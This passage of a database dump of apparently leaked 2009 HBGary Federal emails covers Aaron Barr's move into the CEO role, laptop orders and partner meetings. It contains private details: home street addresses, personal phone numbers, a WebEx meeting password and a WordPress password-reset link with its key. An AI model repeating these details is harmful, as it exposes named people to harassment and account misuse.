projectors:\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.aaxatech.com/products/p2_pico_projector.htm\r\n\r\n\r\n\r\n\r\n\r\nNeed this cable as well, from accessories page:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAAXA P2\r\niPod A/V Cable\r\n\r\n·        \r\nCarries audio/video signals\r\n\r\n·        \r\nFull VGA (640x480) resolution\r\n\r\n·        \r\nWorks with iPod, iPhone, iTouch\r\n\r\nAdditional Product Info \r\n\r\nMSRP: $25.00  $19.99 \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAarons Address:\r\n\r\n\r\n\r\n\r\n\r\n1223 Potomac School Rd.\r\n\r\n\r\n\r\n\r\n\r\nMclean VA 22101\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTeds Address:\r\n\r\n\r\n\r\n\r\n\r\n874 Legend Oak Dr.\r\n\r\n\r\n\r\nFountain CO 80817\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nCan I get business cards this week?  I have a\r\nconference I would like to have them for next tues or wed.\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal\r\n\r\n\r\n\r\n\r\n\r\nAddress: (what do the other DC folks use?)\r\n\r\n\r\n\r\n\r\n\r\nPhone: I think Penny was going to get a number for me.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3977,'aaron_hbgary_com/3977.html'),(33,'2009-11-23','\"Scott Pease\" <scott@hbgary.com>','/aaron@hbgary.com/new/1296999625.M997618P3547Q33.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Please join now, meeting in progress: portal demo','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nYes, this was a webex Greg set up for the two of you. He was\r\nusing my ID.\r\n\r\n&nbsp;\r\n\r\nWelcome aboard, by the way.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, November 23, 2009 12:46 PM\r\nTo: scott@hbgary.com\r\nSubject: Re: Please join now, meeting in progress: portal demo\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Scott,\r\n\r\nSorry I missed this.&nbsp; Can we reschedule?&nbsp; Was this just for Ted and\r\nme?\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Nov 23, 2009 at 2:55 PM, Scott Pease &lt;messenger@webex.com&gt; wrote:\r\n\r\nHello\r\n, \r\n\r\nPlease join my meeting that is currently in progress. \r\n\r\nTopic: portal demo \r\nDate: Monday, November 23, 2009 \r\nTime: 11:55 am, Pacific Standard Time (San Francisco, GMT-08:00) \r\nMeeting Number: 571 847 870 \r\nMeeting Password: 123qwe \r\n\r\n\r\n------------------------------------------------------- \r\nTo join the online meeting (Now from iPhones too!) \r\n------------------------------------------------------- \r\n1. Go to https://hbgary.webex.com/hbgary/e.php?AT=MI&amp;EventID=135078802&amp;UID=1103899382&amp;PW=NZmZkMzQwMmFl&amp;RT=MiM0\r\n\r\n2. Enter your name and email address. \r\n3. Enter the meeting password: 123qwe \r\n4. Click &quot;Join Now&quot;. \r\n5. Follow the instructions that appear on your screen. \r\n\r\nTo view in other time zones or languages, please click the link: \r\nhttps://hbgary.webex.com/hbgary/e.php?AT=MI&amp;EventID=135078802&amp;UID=1103899382&amp;PW=NZmZkMzQwMmFl&amp;ORT=MiM0\r\n\r\n\r\n------------------------------------------------------- \r\nTo join the audio conference only \r\n------------------------------------------------------- \r\nCall-in toll number (US/Canada): 1-408-792-6300 \r\nGlobal call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=135078802&amp;tollFree=0\r\n\r\n\r\nAccess code:571 847 870 \r\n\r\n------------------------------------------------------- \r\nFor assistance \r\n------------------------------------------------------- \r\n1. Go to https://hbgary.webex.com/hbgary/mc\r\n\r\n2. On the left navigation bar, click &quot;Support&quot;. \r\n\r\nYou can contact me at: \r\nscott@hbgary.com \r\n1-916-469-4727 \r\n\r\nSign up for a free trial of WebEx \r\nhttp://www.webex.com/go/mcemfreetrial\r\n\r\n\r\nhttp://www.webex.com \r\n\r\n\r\n\r\nIMPORTANT NOTICE: This WebEx service includes a feature that allows audio and\r\nany documents and other materials exchanged or viewed during the session to be\r\nrecorded. By joining this session, you automatically consent to such\r\nrecordings. If you do not consent to the recording, do not join the session. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5582,'aaron_hbgary_com/5582.html'),(34,'2009-11-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999626.M187719P3547Q34.eml','kathy.warden@ngc.com','New Role','Hi Kathy,\r\n\r\nJust wanted to send you a note once I landed.  It has been a\r\nrollercoaster ride these last few weeks.\r\n\r\nMantech seems like a great company and Bill gave me am incredible\r\noffer as a VP deputy for the cyber BU.  I was floored.  But I have\r\nchosen to follow my passion and have taken a role as the CEO of HBGary\r\nfederal.  Hbgary has set of discriminating malware analysis products\r\ntoday and some other inident respnse based products coming out soon.\r\nTed and I will manage the government and DIB relationships as well as\r\nbegin to build service offerings.  Ted and I will as a small business\r\nalso try to grow some cyber and io work.  This should be exciting.\r\n\r\nOnce I know the products a little better I will probably reach out to\r\nyour team to discuss.\r\n\r\nDale might have mentioned but Ted and I have been approached to\r\nsupport potential competitors on the romas recompete.  I am not sure\r\nhow it would work given certain tensions but if there is a way to\r\nsupport the team overall I would like to discuss that.\r\n\r\nI hope all is well.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',6439,'aaron_hbgary_com/6439.html'),(35,'2009-11-23','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999626.M405886P3547Q35.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: laptops and projectors for Ted and Aaron','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYeap\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, November 23, 2009 2:22 PM\r\nTo: Penny Hoglund\r\nSubject: Re: laptops and projectors for Ted and Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSure so VOIP and Cell right?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 23, 2009, at 5:13 PM, Penny Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want your cell phone on the card?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron\r\nBarr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, November 23,\r\n2009 2:14 PM\r\nTo:&nbsp;deeann@hbgary.com\r\nCc:&nbsp;Ted Vera; Penny Leavy\r\nSubject:&nbsp;laptops and\r\nprojectors for Ted and Aaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2 of each\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n2 Macbook Pros with the following\r\nSpecs:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; 2.66GHz Intel Core 2 Duo\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; 8GB 1066MHz DDR3 SDRAM - 2x4GB\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; 320GB Serial ATA Drive @ 5400 rpm\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; SuperDrive 8x (DVD±R DL/DVD±RW/CD-RW)\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; MacBook Pro 15-inch Antiglare Widescreen Display\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; None\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; Backlit Keyboard (English) / User\'s Guide\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; None\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; None\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; None\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; None\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; None\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; None\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; None\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; None\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; None\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; Apple MagSafe Airline Power Adapter\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; Apple Remote\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n2 pico projectors:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.aaxatech.com/products/p2_pico_projector.htm\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNeed this cable as well, from\r\naccessories page:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAAXA P2\r\niPod A/V Cable\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Carries audio/video signals\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Full VGA (640x480) resolution\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Works with iPod, iPhone, iTouch\r\n\r\n\r\n\r\n\r\n\r\nAdditional Product Info&nbsp;\r\n\r\nMSRP:&nbsp;$25.00&nbsp;&nbsp;$19.99&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAarons Address:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1223 Potomac School Rd.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMclean VA 22101\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTeds Address:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n874 Legend Oak Dr.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFountain CO 80817\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan I get business cards this\r\nweek? &nbsp;I have a conference I would like to have them for next tues or wed.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAddress: (what do the other DC\r\nfolks use?)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhone: I think Penny was going to\r\nget a number for me.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11586,'aaron_hbgary_com/11586.html'),(36,'2009-11-24','penny@hbgary.com','/aaron@hbgary.com/new/1296999626.M594747P3547Q36.eml','aaron@hbgary.com','Employee Manual 2009','I\'ve shared a document with you:\r\n\r\nEmployee Manual 2009\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AQa_9mvVb-wDZGdxbmtoc2pfMjJoN2RwN2My&hl=en&invite=CPG5mbMH\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\nThis is our employee manual.  Please fee free to modify it\r\n',7363,'aaron_hbgary_com/7363.html'),(37,'2009-11-24','penny@hbgary.com','/aaron@hbgary.com/new/1296999626.M809838P3547Q37.eml','aaron@hbgary.com','NDA','I\'ve shared a document with you:\r\n\r\nNDA\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AQa_9mvVb-wDZGdxbmtoc2pfNHQ1NnRjamd4&hl=en&invite=COLUhJoG\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\nHere is our mutual NDA\r\n',9376,'aaron_hbgary_com/9376.html'),(38,'2009-11-24','ted@hbgary.com','/aaron@hbgary.com/new/1296999626.M981688P3547Q38.eml','aaron@hbgary.com','HBGary Federal Employee Manual 2009','I\'ve shared a document with you:\r\n\r\nHBGary Federal Employee Manual 2009\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0Abu9N_XVzxNhZHFuNjV3dF8xZ2NkbnFyZjI&hl=en&invite=CLnig90E\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\nI took Penny\'s Employee Manual and started tweaking for Federal.\r\n',5762,'aaron_hbgary_com/5762.html'),(39,'2009-11-24','ted@hbgary.com','/aaron@hbgary.com/new/1296999627.M266949P3547Q39.eml','aaron@hbgary.com','New-hire forms','I\'ve shared a document with you:\r\n\r\nNew-hire forms\r\nhttps://docs.google.com/a/hbgary.com/leaf?id=0B7u9N_XVzxNhMzFiODZkOWItMmM0MS00YjM4LWI1OTctMWI1MDg5YTU3NTBi&hl=en\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\n',9736,'aaron_hbgary_com/9736.html'),(40,'2009-11-24','penny@hbgary.com','/aaron@hbgary.com/new/1296999627.M642854P3547Q40.eml','aaron@hbgary.com','LEGAL','I\'ve shared a document with you:\r\n\r\nLEGAL\r\nhttps://docs.google.com/a/hbgary.com/leaf?id=0Bwa_9mvVb-wDMDkzM2EwZTAtY2IwOS00ZTkzLWJkM2EtOTg4ZGY5OTQwZGZh&hl=en\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\nHere are some docs for legal.  You need to fill some of them out.\r\n',4048,'aaron_hbgary_com/4048.html'),(41,'2009-11-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999627.M822912P3547Q41.eml','\"Aaron Barr\" <aaron@hbgary.com>','Google Notifier for Mac','http://toolbar.google.com/gmail-helper/notifier_mac.html\r\n\r\ntv\r\n',14754,'aaron_hbgary_com/14754.html'),(42,'2009-11-24','trogers@afcea.org','/aaron@hbgary.com/new/1296999628.M242968P3547Q43.eml','aaron@hbgary.com','AFCEA SOLUTIONS Series Collaboration Website','\r\n				td{font-family:Arial;font-size:10pt;}\r\n				\r\n				\r\n					Thank you for registering for the AFCEA SOLUTIONS Series!\r\n					The AFCEA SOLUTIONS Series promotes a detailed dialogue between government and industry on issues of national importance.  A key component of this series of events in the online collaboration website that enables an ongoing dialogue before, during, and after each event in the series.  We invite you to confirm your membership in the online collaboration site by clicking the link below.  You\'ll be prompted to either logon to the site using an existing Google account or create a new Google account using your current email address.  Once you\'ve logged in you\'ll be directed to the SOLUTIONS Series site where you can contribute in the discussion groups, upload files that may be of interest to the community, build a web page with relevant information, and connect with other members in the group.  Please take a moment right now to join this online community and contribute your thoughts and energy to the group!\r\n					\r\n					---------------------- Online Collaboration Information ----------------------\r\n					You can accept this invitation by clicking the following URL:\r\n					https://www.google.com/groups/signin?cd=US&hl=en&login_required=1&_done=http%3A%2F%2Fgroups.google.com%2Fgroup%2Fafcea-solutions-series%2Fsubscribe\r\n					\r\n					\r\n				\r\n				\r\n			\r\n',5969,'aaron_hbgary_com/5969.html'),(43,'2009-11-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999628.M30869P3547Q42.eml','\"Barr Aaron\" <aaron@hbgary.com>','eBuddy','Check out this application:\r\n\r\nGoogle talk on iPhone so you can use company IM\r\n\r\nhttp://itunes.apple.com/us/app/ebuddy/id320087242?mt=8\r\n\r\n\r\nSent from my iPhone\r\n',13600,'aaron_hbgary_com/13600.html'),(44,'2009-11-24','trogers@afcea.org','/aaron@hbgary.com/new/1296999628.M474911P3547Q44.eml','aaron@hbgary.com','AFCEA Registration Confirmation / Receipt','\r\n			This is an automated acknowledgement confirming your registration for the SOLUTIONS Series: Cyberspace event.Attendee Name: Aaron BarrCardholder Name:  Aaron BarrCard Type: VisaAmount Charged: $330\r\n			\r\n			\r\n			\r\n			Cancellation/Refund PolicyFull refunds available up to 72 hours before event start time.  After that point no refunds will be available.To reserve hotel accomodations at the group rate click here.\r\n			\r\n			QUESTIONS?\r\n			Terry Rogers\r\n			703-631-6238\r\n			trogers@afcea.org\r\n			\r\n			We look forward to seeing you at the event!\r\n			\r\n',8759,'aaron_hbgary_com/8759.html'),(45,'2009-11-24','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999628.M729993P3547Q45.eml','\"Aaron Barr\" <aaron@hbgary.com>','Question about \"forward looking information\"',' \r\nAaron,\r\nI found this PR wire on a contract mantech won, the section at the end titled &quot;forward looking information&quot; is interesting - is it common for contractors to basically retract everything they just said using legal blanketing like this?  Did mantech have a snaggle at some point that makes them cautious about statements regarding delivery?  I know they are public right?  \r\n\r\n \r\nhere is the link http://www.businesswire.com/portal/site/home/permalink/?ndmViewId=news_view&amp;newsId=20091112006049&amp;newsLang=en\r\n\r\n \r\nJust curious - ive never seen something posted that had such caution attached to the end.  This could be completely normal, just asking.\r\n \r\n-Greg\r\n',9685,'aaron_hbgary_com/9685.html'),(46,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999628.M973073P3547Q46.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Question about \"forward looking information\"','I have seen things like this before, mostly attached to quarterly reports.  I am not sure what circumstances or why some companies choose to use them and others don&#39;t.  For a single contract award I couldn&#39;t find another example like this although I am sure they are out there.  It seems they went a bit overboard to me.  It also may based on the personality of their legal dept (shrug).\r\nAaronFrom my iPhoneOn Nov 24, 2009, at 2:44 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n \r\nAaron,\r\nI found this PR wire on a contract mantech won, the section at the end titled &quot;forward looking information&quot; is interesting - is it common for contractors to basically retract everything they just said using legal blanketing like this?  Did mantech have a snaggle at some point that makes them cautious about statements regarding delivery?  I know they are public right?  \r\n\r\n\r\n \r\nhere is the link http://www.businesswire.com/portal/site/home/permalink/?ndmViewId=news_view&amp;newsId=20091112006049&amp;newsLang=en\r\n\r\n\r\n \r\nJust curious - ive never seen something posted that had such caution attached to the end.  This could be completely normal, just asking.\r\n \r\n-Greg\r\n\r\n',16665,'aaron_hbgary_com/16665.html'),(47,'2009-11-24','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1296999629.M177122P3547Q47.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: LVI @ Tue Nov 24 8am - 9am (aaron@hbgary.com)',' more details &raquo;LVIMeeting with Bill SenichWhenTue Nov 24 8am – 9am Eastern TimeWhereMclean Office (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',4118,'aaron_hbgary_com/4118.html'),(48,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999629.M383810P3547Q48.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','New email address','Sounds good.  I will set it up.  I am going to be at the cyber\r\nconference 2nd and 3rd.  Do u have a date preference?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',1044,'aaron_hbgary_com/1044.html'),(49,'2009-11-24','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999629.M558109P3547Q49.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: New email address','Hehehe.  Like the new address.  So it\'s official?\r\nI guess the 4th then. :)\r\nWould prefer early so I can get the 2PM flight home.\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, November 24, 2009 7:54 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: New email address\r\n\r\nSounds good.  I will set it up.  I am going to be at the cyber\r\nconference 2nd and 3rd.  Do u have a date preference?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',2858,'aaron_hbgary_com/2858.html'),(50,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999629.M790954P3547Q50.eml','\"Trae Stephens\" <tstephens@palantirtech.com>,\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Trae Stephens\" <tstephens@palantirtech.com>','Re: Status','Hey Guys,\r\n\r\nI start on Monday as the CEO of HBGary Federal.  Not sure if you are  \r\naware of their products but I think there is an immense potential to  \r\nmarry their Malware and incident response capabilities with Palantirs  \r\nlink analysis and discovery capabilities.  I would like to sit down  \r\nand talk about that.  Also cc\'d is Brian Masterson.  He is the CTO for  \r\nXetron, a group out of Northrop Grumman Electron Systems Sector.   \r\nXetron has the largest number and most capable group of cyber  \r\ndevelopers in Northrop, you just don\'t hear of them much because they  \r\nare in the wrong sector.  I think a conversation with Brian will be  \r\nenlightening for you.\r\n\r\nBrian is in town next week.  Do you have some time Monday or early  \r\nThursday to meet at your office?\r\n\r\nAaron\r\n',10089,'aaron_hbgary_com/10089.html'),(51,'2009-11-24','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1296999629.M977207P3547Q51.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Trae Stephens\" <tstephens@palantirtech.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Status','Aaron,\r\n\r\nIll take lead from Trae on this one from the cybersec perspective. Monday afternoon is great for me. Say 2 or 3 at our office? \r\n\r\nCan\'t wait to hear about the new company.\r\n\r\n-Matt\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Trae Stephens; Matthew Steckman\r\nCc: Brian Masterson \r\nSent: Tue Nov 24 06:21:00 2009\nSubject: Re: Status\r\n\r\nHey Guys,\r\n\r\nI start on Monday as the CEO of HBGary Federal.  Not sure if you are  \r\naware of their products but I think there is an immense potential to  \r\nmarry their Malware and incident response capabilities with Palantirs  \r\nlink analysis and discovery capabilities.  I would like to sit down  \r\nand talk about that.  Also cc\'d is Brian Masterson.  He is the CTO for  \r\nXetron, a group out of Northrop Grumman Electron Systems Sector.   \r\nXetron has the largest number and most capable group of cyber  \r\ndevelopers in Northrop, you just don\'t hear of them much because they  \r\nare in the wrong sector.  I think a conversation with Brian will be  \r\nenlightening for you.\r\n\r\nBrian is in town next week.  Do you have some time Monday or early  \r\nThursday to meet at your office?\r\n\r\nAaron\r\n',2651,'aaron_hbgary_com/2651.html'),(52,'2009-11-24','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999630.M258487P3547Q52.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Palantir Meeting @ Mon Nov 30 2pm - 3:30pm (Brian.Masterson@ngc.com)','\r\n',1976,'aaron_hbgary_com/1976.html'),(53,'2009-11-24','\"WordPress\" <wordpress@hbgary.com>','/aaron@hbgary.com/new/1296999630.M444005P3547Q53.eml','aaron@hbgary.com','[HBGary] Password Reset','Someone has asked to reset the password for the following site and username.\r\n\r\nhttps://www.hbgary.com\r\n\r\nUsername: aaron@hbgary.com\r\n\r\nTo reset your password visit the following address, otherwise just ignore this email and nothing will happen.\r\n\r\nhttps://www.hbgary.com/wp-login.php?action=rp&key=0Pbu1QzPt2ZrytWifaf2\r\n\r\n',12311,'aaron_hbgary_com/12311.html'),(54,'2009-11-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999630.M721513P3547Q54.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: New email address','________________Ted H. VeraPresident | COOHBGary Federal Inc.719-237-8623Begin forwarded message:\r\nFrom: &quot;Hill, Lawrence C (IS)&quot; &lt;lawrence.hill@ngc.com&gt;Date: November 24, 2009 7:13:32 AM MSTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;\r\nSubject: RE: New email address\r\n\r\n\r\n\r\nOh My\r\nGod!!!!!!!!!! ARE YOU REALLY THE PRESIDENT &amp; COO?????CONGRATULATIONS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\n\r\n \r\n\r\n \r\n\r\nWow wOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwW\r\n\r\n\r\n \r\n\r\n \r\n\r\nTed,  Sincerely congratulations and most well deserved.  Now\r\nperform and produce results!!  \r\n\r\n \r\n\r\nVR,\r\n\r\nL\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, November 23, 2009 5:08 PM\r\nTo: Hill, Lawrence C (IS)\r\nSubject: New email address\r\n\r\n\r\n\r\n \r\n\r\nHi Lawrence,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHere&#39;s my new email address:  ted@hbgary.com\r\n\r\n-- \r\nTed Vera\r\nPresident &amp; COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16247,'aaron_hbgary_com/16247.html'),(55,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999630.M921858P3547Q55.eml','\"Ted Vera\" <ted@hbgary.com>','Re: New email address','thats funny.On Nov 24, 2009, at 10:32 AM, Ted Vera wrote:________________Ted H. VeraPresident | COOHBGary Federal Inc.719-237-8623Begin forwarded message: From: \"Hill, Lawrence C (IS)\" &lt;lawrence.hill@ngc.com&gt;Date: November 24, 2009 7:13:32 AM MSTTo: \"Ted Vera\" &lt;ted@hbgary.com&gt; Subject: RE: New email address Oh My God!!!!!!!!!! ARE YOU REALLY THE PRESIDENT &amp; COO?????CONGRATULATIONS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&nbsp;&nbsp;Wow wOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwW&nbsp;&nbsp;Ted,&nbsp; Sincerely congratulations and most well deserved.&nbsp; Now perform and produce results!!&nbsp; &nbsp;VR,L From: Ted Vera [mailto:ted@hbgary.com]  Sent: Monday, November 23, 2009 5:08 PM To: Hill, Lawrence C (IS) Subject: New email address &nbsp;Hi Lawrence, &nbsp;  Here\'s my new email address: &nbsp;ted@hbgary.com  --  Ted Vera President &amp; COO HBGary Federal, Inc. 719-237-8623   ',8330,'aaron_hbgary_com/8330.html'),(56,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999631.M112519P3547Q56.eml','\"Jennifer Drury\" <jdrury@keywcorp.com>','Re: Follow-up','Funny the parrot still lives. &nbsp;Tell Len there are still many parrots running around the Millersville spaces.Thank you for the information.Aaron BarrCEOHBGary Federal Inc.719.510.8478On Nov 24, 2009, at 10:35 